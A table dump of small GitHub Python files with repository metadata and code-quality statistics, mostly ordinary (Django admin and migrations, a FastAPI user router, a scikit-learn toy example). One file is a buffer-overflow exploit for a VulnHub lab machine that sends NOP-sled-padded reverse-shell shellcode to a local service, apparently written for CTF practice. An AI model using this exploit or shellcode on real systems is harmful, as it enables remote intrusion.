hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
b5dfeaa04dc9176272b9d8b75ba432691811657f | 449 | py | Python | python/scikitlearn/ml_hello_worlds/ml1.py | erisky/my_practices | 10af209a163fb3e527b9c22c946365f1f317c07b | [
"MIT"
] | null | null | null | python/scikitlearn/ml_hello_worlds/ml1.py | erisky/my_practices | 10af209a163fb3e527b9c22c946365f1f317c07b | [
"MIT"
] | null | null | null | python/scikitlearn/ml_hello_worlds/ml1.py | erisky/my_practices | 10af209a163fb3e527b9c22c946365f1f317c07b | [
"MIT"
] | null | null | null | # import sklearn
from sklearn import tree
features = [[140,1], [130,1], [150,0], [170, 0], [172,1]]
labels = [0,0,1,1,1]
# classfiler
clf = tree.DecisionTreeClassifier()
clf = clf.fit(features, labels)
print clf.predict([[120, 0]])
print clf.predict([[130, 0]])
print clf.predict([[140, 0]])
print clf.predict([[150, 0]])
print clf.predict([[120, 1]])
print clf.predict([[130, 1]])
print clf.predict([[140, 1]])
print clf.predict([[150, 1]])
| 19.521739 | 57 | 0.639198 | 72 | 449 | 3.986111 | 0.277778 | 0.222997 | 0.418118 | 0.222997 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.14578 | 0.129176 | 449 | 22 | 58 | 20.409091 | 0.588235 | 0.055679 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.076923 | null | null | 0.615385 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
b5ecb35472e8face6141a7d87d7d9daf3a39bd4a | 127 | py | Python | dashboard/admin.py | yusufom/ERP | a1844d0ece0ab5fff748d75a3ac7a2a963e56576 | [
"Unlicense"
] | null | null | null | dashboard/admin.py | yusufom/ERP | a1844d0ece0ab5fff748d75a3ac7a2a963e56576 | [
"Unlicense"
] | null | null | null | dashboard/admin.py | yusufom/ERP | a1844d0ece0ab5fff748d75a3ac7a2a963e56576 | [
"Unlicense"
] | null | null | null | from django.contrib import admin
from .models import todo, dashboard
admin.site.register(todo)
admin.site.register(dashboard) | 21.166667 | 35 | 0.818898 | 18 | 127 | 5.777778 | 0.555556 | 0.173077 | 0.326923 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.094488 | 127 | 6 | 36 | 21.166667 | 0.904348 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
1fb0f7cbad5d4134b747f823e2d682e2fbbdc9eb | 39 | py | Python | scrapy_example/scrapy_gitee/scrapy_gitee/__init__.py | bobjiangps/python-spider-example | 7021dc3052fe1a667b79b810403e8ae3f03253b3 | [
"MIT"
] | null | null | null | scrapy_example/scrapy_gitee/scrapy_gitee/__init__.py | bobjiangps/python-spider-example | 7021dc3052fe1a667b79b810403e8ae3f03253b3 | [
"MIT"
] | 3 | 2021-03-31T19:20:41.000Z | 2022-03-12T01:03:06.000Z | scrapy_example/scrapy_gitee/scrapy_gitee/__init__.py | bobjiangps/python-spider-example | 7021dc3052fe1a667b79b810403e8ae3f03253b3 | [
"MIT"
] | null | null | null | # scrapy crawl scrapy_gitee -o repo.csv | 39 | 39 | 0.794872 | 7 | 39 | 4.285714 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.128205 | 39 | 1 | 39 | 39 | 0.882353 | 0.948718 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
1fb3a42cef135e482fa00b59f624c71e7ed45612 | 164 | py | Python | classify/__init__.py | daleroberts/QGIS-Classifier-Plugin | c0e302a98c7370115dc6c8ac2b2fdd48ed6d816f | [
"Apache-2.0"
] | null | null | null | classify/__init__.py | daleroberts/QGIS-Classifier-Plugin | c0e302a98c7370115dc6c8ac2b2fdd48ed6d816f | [
"Apache-2.0"
] | null | null | null | classify/__init__.py | daleroberts/QGIS-Classifier-Plugin | c0e302a98c7370115dc6c8ac2b2fdd48ed6d816f | [
"Apache-2.0"
] | null | null | null | # noinspection PyPep8Naming
def classFactory(iface): # pylint: disable=invalid-name
from .ClassifyPlugin import ClassifyPlugin
return ClassifyPlugin(iface) | 41 | 56 | 0.79878 | 16 | 164 | 8.1875 | 0.8125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007042 | 0.134146 | 164 | 4 | 57 | 41 | 0.915493 | 0.329268 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
9512933973c7eac74276e2ff7a93e668cda47900 | 197 | py | Python | operations/admin.py | knowhere1998/lend_it_up_server | 279e72a1f337f4879cbbfec4a3f49db169a6e071 | [
"MIT"
] | null | null | null | operations/admin.py | knowhere1998/lend_it_up_server | 279e72a1f337f4879cbbfec4a3f49db169a6e071 | [
"MIT"
] | null | null | null | operations/admin.py | knowhere1998/lend_it_up_server | 279e72a1f337f4879cbbfec4a3f49db169a6e071 | [
"MIT"
] | null | null | null | from django.contrib import admin
from .models import Category, Product, Request
# Register your models here.
admin.site.register(Category)
admin.site.register(Product)
admin.site.register(Request)
| 28.142857 | 46 | 0.817259 | 27 | 197 | 5.962963 | 0.481481 | 0.167702 | 0.31677 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.091371 | 197 | 6 | 47 | 32.833333 | 0.899441 | 0.13198 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.4 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
1f247cdbc739d289092fd6f757576ac0af4aaba8 | 1,477 | py | Python | deployments/migrations/0036_auto_20201118_0812.py | IFRCGo/ifrcgo-api | c1c3e0cf1076ab48d03db6aaf7a00f8485ca9e1a | [
"MIT"
] | 11 | 2018-06-11T06:05:12.000Z | 2022-03-25T09:31:44.000Z | deployments/migrations/0036_auto_20201118_0812.py | IFRCGo/ifrcgo-api | c1c3e0cf1076ab48d03db6aaf7a00f8485ca9e1a | [
"MIT"
] | 498 | 2017-11-07T21:20:13.000Z | 2022-03-31T14:37:18.000Z | deployments/migrations/0036_auto_20201118_0812.py | IFRCGo/ifrcgo-api | c1c3e0cf1076ab48d03db6aaf7a00f8485ca9e1a | [
"MIT"
] | 6 | 2018-04-11T13:29:50.000Z | 2020-07-16T16:52:11.000Z | # Generated by Django 2.2.13 on 2020-11-18 08:12
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('deployments', '0035_personnel_molnix_tags'),
]
operations = [
migrations.AlterField(
model_name='deployedperson',
name='name',
field=models.CharField(blank=True, max_length=255, null=True, verbose_name='name'),
),
migrations.AlterField(
model_name='deployedperson',
name='role',
field=models.CharField(blank=True, max_length=512, null=True, verbose_name='role'),
),
migrations.AlterField(
model_name='deployedperson',
name='role_ar',
field=models.CharField(blank=True, max_length=512, null=True, verbose_name='role'),
),
migrations.AlterField(
model_name='deployedperson',
name='role_en',
field=models.CharField(blank=True, max_length=512, null=True, verbose_name='role'),
),
migrations.AlterField(
model_name='deployedperson',
name='role_es',
field=models.CharField(blank=True, max_length=512, null=True, verbose_name='role'),
),
migrations.AlterField(
model_name='deployedperson',
name='role_fr',
field=models.CharField(blank=True, max_length=512, null=True, verbose_name='role'),
),
]
| 33.568182 | 95 | 0.596479 | 153 | 1,477 | 5.594771 | 0.287582 | 0.093458 | 0.175234 | 0.203271 | 0.771028 | 0.771028 | 0.716122 | 0.61215 | 0.61215 | 0.61215 | 0 | 0.035748 | 0.280298 | 1,477 | 43 | 96 | 34.348837 | 0.76952 | 0.031144 | 0 | 0.621622 | 1 | 0 | 0.126662 | 0.018195 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.027027 | 0 | 0.108108 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
1f2faded4889befa904b13655c7c8d5995c52e26 | 44 | py | Python | wordly/__init__.py | clagraff/wordly | 34d0a37e024872340716ea2a2dbfeca703103f21 | [
"MIT"
] | null | null | null | wordly/__init__.py | clagraff/wordly | 34d0a37e024872340716ea2a2dbfeca703103f21 | [
"MIT"
] | null | null | null | wordly/__init__.py | clagraff/wordly | 34d0a37e024872340716ea2a2dbfeca703103f21 | [
"MIT"
] | null | null | null | """Required __init__ for wordly package."""
| 22 | 43 | 0.727273 | 5 | 44 | 5.6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.113636 | 44 | 1 | 44 | 44 | 0.717949 | 0.840909 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
1f315865e608fa8bde5262dca9b563b3823a3624 | 215 | py | Python | py-venture/premade/objects/armours.py | DVDTSB/py-text | 6db668343ef2c8f6ec93b8c16a7105bea28dd5ef | [
"MIT"
] | 1 | 2021-12-11T12:38:54.000Z | 2021-12-11T12:38:54.000Z | py-venture/premade/objects/armours.py | DVDTSB/py-text | 6db668343ef2c8f6ec93b8c16a7105bea28dd5ef | [
"MIT"
] | null | null | null | py-venture/premade/objects/armours.py | DVDTSB/py-text | 6db668343ef2c8f6ec93b8c16a7105bea28dd5ef | [
"MIT"
] | null | null | null | import modules.armour as armour
chainmail_armour = armour.Armour("Armour", "An chainmail armour, strong and resistant, crafted by some nerds.", 10, 3, 10, "chain" , "You took the armour.", "You dropped the armour.") | 107.5 | 183 | 0.739535 | 32 | 215 | 4.9375 | 0.625 | 0.227848 | 0.227848 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.026882 | 0.134884 | 215 | 2 | 183 | 107.5 | 0.822581 | 0 | 0 | 0 | 0 | 0 | 0.550926 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
1f48d0e8e90431cb6955e1d57988c14a4075801c | 5,358 | py | Python | src/routers/users.py | Devansh3712/social-media-api | eaa9891f3cd2562e4a06d4e82c6634bda6c5368a | [
"MIT"
] | 2 | 2022-01-28T14:43:34.000Z | 2022-02-08T18:24:34.000Z | src/routers/users.py | Devansh3712/social-media-api | eaa9891f3cd2562e4a06d4e82c6634bda6c5368a | [
"MIT"
] | null | null | null | src/routers/users.py | Devansh3712/social-media-api | eaa9891f3cd2562e4a06d4e82c6634bda6c5368a | [
"MIT"
] | null | null | null | from copy import deepcopy
from fastapi import (
APIRouter,
Depends,
HTTPException,
status
)
from ..database import Database
from ..schemas import (
TokenData,
User,
UserResponse
)
from ..oauth2 import get_current_user
from ..utils import hash_password
router = APIRouter(
prefix = "/users",
tags = ["Users"]
)
db = Database()
@router.post("/", response_model = UserResponse, status_code = status.HTTP_201_CREATED)
async def create_user(user: User):
if not db.collection_exists(user.username):
user_dict = user.dict()
user_dict["password"] = hash_password(user_dict["password"])
user_dict["_id"] = 0
result = db.insert(user.username, user_dict)
return user.dict()
raise HTTPException(status_code = status.HTTP_500_INTERNAL_SERVER_ERROR)
@router.get("/{username}", response_model = UserResponse)
async def get_user(username: str):
result = db.read(username, [{ "_id": 0 }])
if not result:
raise HTTPException(
status_code = status.HTTP_404_NOT_FOUND,
detail = f"User {username} doesn't exist in database."
)
return result[0]
@router.post("/follow/{username}", status_code = status.HTTP_201_CREATED)
async def follow_user(username: str, user: TokenData = Depends(get_current_user)):
follower = db.read(user.username, [{ "_id": 0 }])
following = db.read(username, [{ "_id": 0 }])
if not following:
raise HTTPException(
status_code = status.HTTP_404_NOT_FOUND,
detail = f"User {username} doesn't exist in database."
)
if username == user.username:
raise HTTPException(
status_code = status.HTTP_404_NOT_FOUND,
detail = f"Cannot follow yourself."
)
if username in follower[0]["following"]:
raise HTTPException(
status_code = status.HTTP_403_FORBIDDEN,
detail = f"User already followed."
)
update_follower = deepcopy(follower[0])
update_following = deepcopy(following[0])
update_follower["following"].append(username)
update_following["followers"].append(user.username)
update_follower["following_count"] += 1
update_following["followers_count"] += 1
result_follower = db.update(user.username, follower[0], update_follower)
result_following = db.update(username, following[0], update_following)
if not result_follower or not result_following:
raise HTTPException(status_code = status.HTTP_500_INTERNAL_SERVER_ERROR)
@router.post("/unfollow/{username}", status_code = status.HTTP_201_CREATED)
async def unfollow_user(username: str, user: TokenData = Depends(get_current_user)):
follower = db.read(user.username, [{ "_id": 0 }])
following = db.read(username, [{ "_id": 0 }])
if not following:
raise HTTPException(
status_code = status.HTTP_404_NOT_FOUND,
detail = f"User {username} doesn't exist in database."
)
if username == user.username:
raise HTTPException(
status_code = status.HTTP_404_NOT_FOUND,
detail = f"Cannot unfollow yourself."
)
if username not in follower[0]["following"]:
raise HTTPException(
status_code = status.HTTP_403_FORBIDDEN,
detail = f"User not followed."
)
update_follower = deepcopy(follower[0])
update_following = deepcopy(following[0])
update_follower["following"].remove(username)
update_following["followers"].remove(user.username)
update_follower["following_count"] -= 1
update_following["followers_count"] -= 1
result_follower = db.update(user.username, follower[0], update_follower)
result_following = db.update(username, following[0], update_following)
if not result_follower or not result_following:
raise HTTPException(status_code = status.HTTP_500_INTERNAL_SERVER_ERROR)
@router.post("/private", status_code = status.HTTP_201_CREATED)
async def make_user_private(user: TokenData = Depends(get_current_user)):
result = db.read(user.username, [{ "_id": 0 }])
if not result:
raise HTTPException(status_code = status.HTTP_500_INTERNAL_SERVER_ERROR)
if result[0]["private"]:
raise HTTPException(
status_code = status.HTTP_403_FORBIDDEN,
detail = f"User account already private."
)
updated_result = deepcopy(result[0])
updated_result["private"] = True
update_result = db.update(user.username, result[0], updated_result)
if not update_result:
raise HTTPException(status_code = status.HTTP_500_INTERNAL_SERVER_ERROR)
@router.post("/public", status_code = status.HTTP_201_CREATED)
async def make_user_public(user: TokenData = Depends(get_current_user)):
result = db.read(user.username, [{ "_id": 0 }])
if not result:
raise HTTPException(status_code = status.HTTP_500_INTERNAL_SERVER_ERROR)
if not result[0]["private"]:
raise HTTPException(
status_code = status.HTTP_403_FORBIDDEN,
detail = f"User account already public."
)
updated_result = deepcopy(result[0])
updated_result["private"] = False
update_result = db.update(user.username, result[0], updated_result)
if not update_result:
raise HTTPException(status_code = status.HTTP_500_INTERNAL_SERVER_ERROR)
| 39.985075 | 87 | 0.683651 | 648 | 5,358 | 5.412037 | 0.131173 | 0.05988 | 0.095808 | 0.11976 | 0.779869 | 0.779869 | 0.779869 | 0.778158 | 0.739949 | 0.713715 | 0 | 0.021944 | 0.209033 | 5,358 | 133 | 88 | 40.285714 | 0.805569 | 0 | 0 | 0.452381 | 0 | 0 | 0.098731 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.015873 | 0.047619 | 0 | 0.063492 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
1f78c88e3c529ab7c03f0a31d67ee6150c5f687d | 1,513 | py | Python | VULNHUB/dpwwn_03/bof_dpwwn_03.py | ricardojoserf/write-ups | 2de394e4608efcefc4a67cc8d0ef2dbf440bb50b | [
"MIT"
] | null | null | null | VULNHUB/dpwwn_03/bof_dpwwn_03.py | ricardojoserf/write-ups | 2de394e4608efcefc4a67cc8d0ef2dbf440bb50b | [
"MIT"
] | null | null | null | VULNHUB/dpwwn_03/bof_dpwwn_03.py | ricardojoserf/write-ups | 2de394e4608efcefc4a67cc8d0ef2dbf440bb50b | [
"MIT"
] | null | null | null | import sys,socket
# Reverse shell for linux x86, lhost = 127.0.0.1, lport = 8000, encoding = x86/alpha_mixed, no conflictive characters
payload = (
"\x89\xe3\xda\xdd\xd9\x73\xf4\x5d\x55\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x70\x31\x79\x4b\x39\x67\x38\x63\x42\x73\x53\x73\x63\x63\x62"
"\x4a\x75\x52\x6d\x59\x6b\x51\x4e\x50\x50\x66\x7a\x6d\x4f\x70"
"\x6a\x33\x66\x39\x4c\x70\x35\x6f\x68\x4d\x4b\x30\x72\x69\x42"
"\x59\x59\x69\x51\x78\x53\x4f\x33\x30\x47\x70\x47\x71\x71\x78"
"\x77\x72\x63\x30\x67\x6f\x77\x30\x4d\x59\x6d\x31\x48\x30\x43"
"\x56\x62\x70\x30\x51\x63\x63\x6f\x43\x63\x33\x4d\x59\x49\x71"
"\x68\x4d\x6b\x30\x62\x72\x55\x38\x70\x6e\x34\x6f\x72\x53\x30"
"\x68\x71\x78\x46\x4f\x56\x4f\x32\x42\x30\x69\x4e\x69\x68\x63"
"\x52\x72\x30\x53\x4d\x59\x6d\x31\x6c\x70\x46\x6b\x7a\x6d\x4d"
"\x50\x41\x41"
)
ip_ = '127.0.0.1'
port_ = 3210
# First get the stack address with gdb ("\x20\xf2\xff\xbf")
# then as john (without gdb) adding some bytes ("\x40\xf2\xff\xbf")
# then add some more running as root from the SH script ("\x80\xf2\xff\xbf")
jmp_stack = "\x80\xf2\xff\xbf"
nop = '\x90'
buff = '\x41'*732+jmp_stack+nop*50+payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_, port_))
s.send(buff)
s.close()
# Vulnhub machine: https://www.vulnhub.com/entry/dpwwn-3,345/
| 39.815789 | 118 | 0.69002 | 310 | 1,513 | 3.33871 | 0.429032 | 0.052174 | 0.069565 | 0.081159 | 0.046377 | 0.028986 | 0.028986 | 0.028986 | 0.028986 | 0 | 0 | 0.291333 | 0.092531 | 1,513 | 37 | 119 | 40.891892 | 0.462491 | 0.247191 | 0 | 0 | 0 | 0.5 | 0.752737 | 0.711679 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.038462 | 0 | 0.038462 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
2f349d9528970618806275e34ababc23b98e97f2 | 82 | py | Python | tempo-api/src/app/tempo/models/__init__.py | cuappdev/archives | 061d0f9cccf278363ffaeb27fc655743b1052ae5 | [
"MIT"
] | null | null | null | tempo-api/src/app/tempo/models/__init__.py | cuappdev/archives | 061d0f9cccf278363ffaeb27fc655743b1052ae5 | [
"MIT"
] | null | null | null | tempo-api/src/app/tempo/models/__init__.py | cuappdev/archives | 061d0f9cccf278363ffaeb27fc655743b1052ae5 | [
"MIT"
] | null | null | null | from app.base import *
from app.constants import *
from marshmallow import fields
| 20.5 | 30 | 0.804878 | 12 | 82 | 5.5 | 0.583333 | 0.212121 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.146341 | 82 | 3 | 31 | 27.333333 | 0.942857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
2f416b88d078b19c1c5b4ed0aa107e5154e51e82 | 30 | py | Python | dataset/__init__.py | StevenChumak/wcid-pytorch | c80257dbb8286c987b21dc63b62fcefcd5ebf8e5 | [
"MIT"
] | null | null | null | dataset/__init__.py | StevenChumak/wcid-pytorch | c80257dbb8286c987b21dc63b62fcefcd5ebf8e5 | [
"MIT"
] | null | null | null | dataset/__init__.py | StevenChumak/wcid-pytorch | c80257dbb8286c987b21dc63b62fcefcd5ebf8e5 | [
"MIT"
] | 1 | 2021-11-29T21:56:54.000Z | 2021-11-29T21:56:54.000Z | from .dataset import RailData
| 15 | 29 | 0.833333 | 4 | 30 | 6.25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.133333 | 30 | 1 | 30 | 30 | 0.961538 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
2f4ff0265fb9c4c4755fa15ca31c9a33bba003db | 55 | py | Python | lz4/block/__init__.py | ajholyoake/python-lz4 | c4e16e27971707d84f5436c19dbe2520cc041d35 | [
"BSD-3-Clause"
] | null | null | null | lz4/block/__init__.py | ajholyoake/python-lz4 | c4e16e27971707d84f5436c19dbe2520cc041d35 | [
"BSD-3-Clause"
] | null | null | null | lz4/block/__init__.py | ajholyoake/python-lz4 | c4e16e27971707d84f5436c19dbe2520cc041d35 | [
"BSD-3-Clause"
] | null | null | null | from ._block import compress, decompress # noqa: F401
| 27.5 | 54 | 0.763636 | 7 | 55 | 5.857143 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.065217 | 0.163636 | 55 | 1 | 55 | 55 | 0.826087 | 0.181818 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
